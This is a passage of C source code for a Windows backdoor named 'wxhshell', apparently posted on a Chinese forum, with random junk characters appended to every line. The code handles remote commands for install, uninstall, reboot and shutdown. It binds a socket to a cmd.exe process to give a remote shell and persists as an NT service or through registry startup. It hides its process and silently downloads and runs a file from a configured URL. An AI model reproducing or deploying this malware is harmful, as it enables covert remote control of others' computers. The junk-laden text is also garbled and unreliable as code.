  /,g,Ch<d  
  // 帮助 $d_|NssvU  
  case '?': { '2[albxSc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +Zaj,oEE  
    break; ~2gG(1%At9  
  } ,}K7Dg^1  
  // 安装 ]%IT|/;9Y  
  case 'i': { ' <@3i[M  
    if(Install()) tF{D= ;G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p_${Nj  
    else NnT1X;0W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yrC7F` .  
    break; Y07ZB'K  
    } }x07^4$j  
  // 卸载 c'S,hCe*  
  case 'r': { (q(~de  
    if(Uninstall()) @NNq z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >8qQK r\"  
    else `s8{C b=}1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'lEA)&d  
    break; [YUv7|\  
    } CTZh0 x  
  // 显示 wxhshell 所在路径 k[:bQ)H  
  case 'p': { UHTvCc  
    char svExeFile[MAX_PATH]; ,Q HU_jt  
    strcpy(svExeFile,"\n\r"); )~HUo9K9  
      strcat(svExeFile,ExeFile); &QGdLXOn  
        send(wsh,svExeFile,strlen(svExeFile),0); 93` AWg/T  
    break; tavpq.0O  
    } P dhEQ}H  
  // 重启 2 -C!jAfd  
  case 'b': { \v.C]{Gzc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .U?'i<  
    if(Boot(REBOOT)) 5yzv|mrx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @AIaC-,~]  
    else { RIY,K*f.  
    closesocket(wsh); A8oo@z68n>  
    ExitThread(0); =1Oj*x@*4  
    } X bD4:i%  
    break; 'Pn3%&O$  
    } uFPF!Ern  
  // 关机 ,z-}t& _t  
  case 'd': { zY"1drE>G  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); F pa_qjL;  
    if(Boot(SHUTDOWN)) p4-o/8rO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .MJofE;Jn  
    else { .xH5fMj,"  
    closesocket(wsh); ZRg;/sX]  
    ExitThread(0); 3~ S8!nx  
    } ) `A3M)  
    break; 7,lq}a8z  
    } :]^P1sH[  
  // 获取shell IbP#_Vt  
  case 's': { @++.FEf  
    CmdShell(wsh); pnbIiyV  
    closesocket(wsh); Ire\i7MF:  
    ExitThread(0); G %Q^o5m  
    break; INi]R^-  
  } qpE&go=k'  
  // 退出 1r]Io gI  
  case 'x': { h?8]C#6^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I^8"{J.Q)[  
    CloseIt(wsh); "vyNxZE  
    break; 7U2J xE  
    } t<|NLk.  
  // 离开 $}jssnoU  
  case 'q': { h?;T7|^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (r D_(%o  
    closesocket(wsh); Ju :CMkv  
    WSACleanup(); li 6%)  
    exit(1); ek}a}.3 {  
    break; |]ZYa.+:  
        } ,}))u0q+:  
  } w$`5g  
  } !Y\D?rKZ  
FWHNj.r  
  // 提示信息 ?Vdia:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /O^RF}  
} (Yis:%c\!  
  } dOoKLry  
CS=qj-(  
  return; 2U:H545]]  
} v>-VlQ  
qh2ON>e;  
// shell模块句柄 ;F~LqC$  
int CmdShell(SOCKET sock) OI0;BBZ  
{ :9_L6  
STARTUPINFO si; N 0= ac5  
ZeroMemory(&si,sizeof(si)); KFvQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `P8Vh+7u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6^"=dn6K  
PROCESS_INFORMATION ProcessInfo; 0 Emr<n  
char cmdline[]="cmd"; 3rcKzS7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q'YH>oGh^  
  return 0; (s7;^)}zx  
} Wr3mQU  
[-;_ZFS{  
// 自身启动模式 }= 6'MjF]  
int StartFromService(void) |*'cF-lp6v  
{ d_)o  
typedef struct v%s`~~u%^  
{ oNU0 qZ5  
  DWORD ExitStatus; OQ>x5?um  
  DWORD PebBaseAddress; =|%Cu&  
  DWORD AffinityMask; |&[L?  
  DWORD BasePriority; -"h;uDz|z  
  ULONG UniqueProcessId; gUpb4uN  
  ULONG InheritedFromUniqueProcessId;  ?kZTI (  
}   PROCESS_BASIC_INFORMATION; "(3BvMA&!9  
;+<&8.=,)  
PROCNTQSIP NtQueryInformationProcess; vt;{9\Y  
`(f!*Ru@/z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lI-L` x  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i 4%xfN  
S`"LV $8  
  HANDLE             hProcess; t0nI('LX,  
  PROCESS_BASIC_INFORMATION pbi; KA){''>8  
20iq2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ircp``g  
  if(NULL == hInst ) return 0; \z$p%4`E@  
P  '>SmQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E 2"q3_,,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tvu!< dxZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mXUGe:e8  
Q`rF&)Q5  
  if (!NtQueryInformationProcess) return 0; &s$(g~ 4gC  
T.We: ,{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $`wMX{  
  if(!hProcess) return 0; 9$Xu,y  
h~p>re  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i%g#+Gw  
r ; xLP  
  CloseHandle(hProcess); ??i,Vr@)w  
)@L'wW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g-e #!(  
if(hProcess==NULL) return 0; cFJ-Mkl l  
QR Ei7@t  
HMODULE hMod; }yJ$SR]t  
char procName[255]; aS pWsT  
unsigned long cbNeeded; qWx][D"  
KM !k$;my  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m^#rB`0;L  
FI<q@HF  
  CloseHandle(hProcess); qR8u$2}NY  
/-qxS <?o  
if(strstr(procName,"services")) return 1; // 以服务启动 KLL;e/Gf  
?@6/E<-Z$  
  return 0; // 注册表启动 H.W E6  
} ]\xy\\b/`  
2 OwV^-OG  
// 主模块 KrXdnY8  
int StartWxhshell(LPSTR lpCmdLine) 9{$<0,?  
{ >^Yq|~[  
  SOCKET wsl; y8 KX<2s1  
BOOL val=TRUE; bg3"W,bv%  
  int port=0; $YXMI",tt<  
  struct sockaddr_in door; 4<?8M vF  
24/XNSE,-  
  if(wscfg.ws_autoins) Install(); Ezi-VGjr]  
VL/|tL>E^  
port=atoi(lpCmdLine); ?  BE6  
:UbM !  
if(port<=0) port=wscfg.ws_port; js8{]04y  
yY&3p1AxW]  
  WSADATA data; w~ ;I7:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4_UU<GEp  
9XHz-+bQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   DwV4o^J:l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); A 5+rd{k/  
  door.sin_family = AF_INET; " beQZG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); hx f'5uc  
  door.sin_port = htons(port);  X!j{o  
rx5B=M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 78Aa|AJU  
closesocket(wsl); {w8 NN-n  
return 1; &%2*Wu;  
} TP}h~8 /;  
nZ_v/?O  
  if(listen(wsl,2) == INVALID_SOCKET) { YqV8D&I  
closesocket(wsl); 6AP~]e 8  
return 1; w]_zp?\^ }  
} cNKUu~C+  
  Wxhshell(wsl); p:OPw D+  
  WSACleanup(); qTB$`f'|$  
t9_E$w^U  
return 0; 8LI-gp\ 2  
;ml 3  
} jS!`2li?{  
97,rE$bC  
// 以NT服务方式启动 KZbR3mi,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yfDAk46->6  
{ 7 JDN{!jT  
DWORD   status = 0; 9ktEm|F3  
  DWORD   specificError = 0xfffffff; gUR]{dq^'  
m,R Dr  
  serviceStatus.dwServiceType     = SERVICE_WIN32; EQe5JFR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1 Vy,&[c~"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3:5DL!Sm8J  
  serviceStatus.dwWin32ExitCode     = 0; @f!AkzI  
  serviceStatus.dwServiceSpecificExitCode = 0; (5 <^p&  
  serviceStatus.dwCheckPoint       = 0; o]LRzI  
  serviceStatus.dwWaitHint       = 0; SMf+qiM-E  
G2#d $  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tQ~WEC  
  if (hServiceStatusHandle==0) return; W0zbxJKjd  
` r']^ ,  
status = GetLastError(); o+?r I p  
  if (status!=NO_ERROR) kJ(A,s|  
{ q+a.G2S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %@R~DBS  
    serviceStatus.dwCheckPoint       = 0; )2Hff.  
    serviceStatus.dwWaitHint       = 0; *fO{ a  
    serviceStatus.dwWin32ExitCode     = status; ue8qIZH  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~/IexQB&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); tVqmn  
    return; #)`A7 $/,  
  } (shK  
nN3$\gHp8i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7W9~1 .SC  
  serviceStatus.dwCheckPoint       = 0; ArI]`h'W  
  serviceStatus.dwWaitHint       = 0; }4nT.!5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5M23/= N  
} ze'.Y%]  
P|^$kK  
// 处理NT服务事件,比如:启动、停止 x7RdZC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ACjf\4Q  
{ (\dK4JJ  
switch(fdwControl) ACV ek  
{ sFb4`  
case SERVICE_CONTROL_STOP: sg'NBAo"  
  serviceStatus.dwWin32ExitCode = 0; )9P&=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >&H~nGP.  
  serviceStatus.dwCheckPoint   = 0; TRKgBK$,  
  serviceStatus.dwWaitHint     = 0; aEx(rLd+  
  { L8V3BH7B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~2/{3m{3A  
  } *(*+`qZL{(  
  return; ^p_u.P  
case SERVICE_CONTROL_PAUSE: ^C9x.4I$)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; g]`bnZ7  
  break; `W[+%b  
case SERVICE_CONTROL_CONTINUE: yty` 2$O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; daOS8_py  
  break; Yb=6C3l@  
case SERVICE_CONTROL_INTERROGATE: %{STz  
  break; ,w&:_n  
}; 67J*&5? |  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8mgQu]>  
} 'Kis hXOn]  
ma9ADFFT  
// 标准应用程序主函数 !*P&Eat  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3$"/>g/  
{ " >6&+^BN'  
O}gX{_|6  
// 获取操作系统版本 yx0Q+Sm1:  
OsIsNt=GetOsVer(); w3#`1T`N  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F^'v{@C  
>QI~`MiI  
  // 从命令行安装 h#{T}[  
  if(strpbrk(lpCmdLine,"iI")) Install(); m4gU*?  
j, t~  
  // 下载执行文件 ck$2Ue2`@w  
if(wscfg.ws_downexe) { `{G?>z Fp  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ] C,1%(  
  WinExec(wscfg.ws_filenam,SW_HIDE); a9[<^  
} 6+ 8mV8{-8  
>Zdi5') 5  
if(!OsIsNt) { *mV&K\_  
// 如果时win9x,隐藏进程并且设置为注册表启动 l7Lj[d<n  
HideProc(); IIax gfhZ  
StartWxhshell(lpCmdLine); n{=7 yK  
} 6{7 3p@  
else A7(M,4`6  
  if(StartFromService()) NQ!<f\m4n  
  // 以服务方式启动 Yzd2G,kZ=  
  StartServiceCtrlDispatcher(DispatchTable); n{{ P 3f  
else DVzssP g  
  // 普通方式启动 \[T{M!s  
  StartWxhshell(lpCmdLine); vpafru4  
RH=$h! 5  
return 0; V5X i '=  
}
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只看该作者 1 发表于: 2006-10-10
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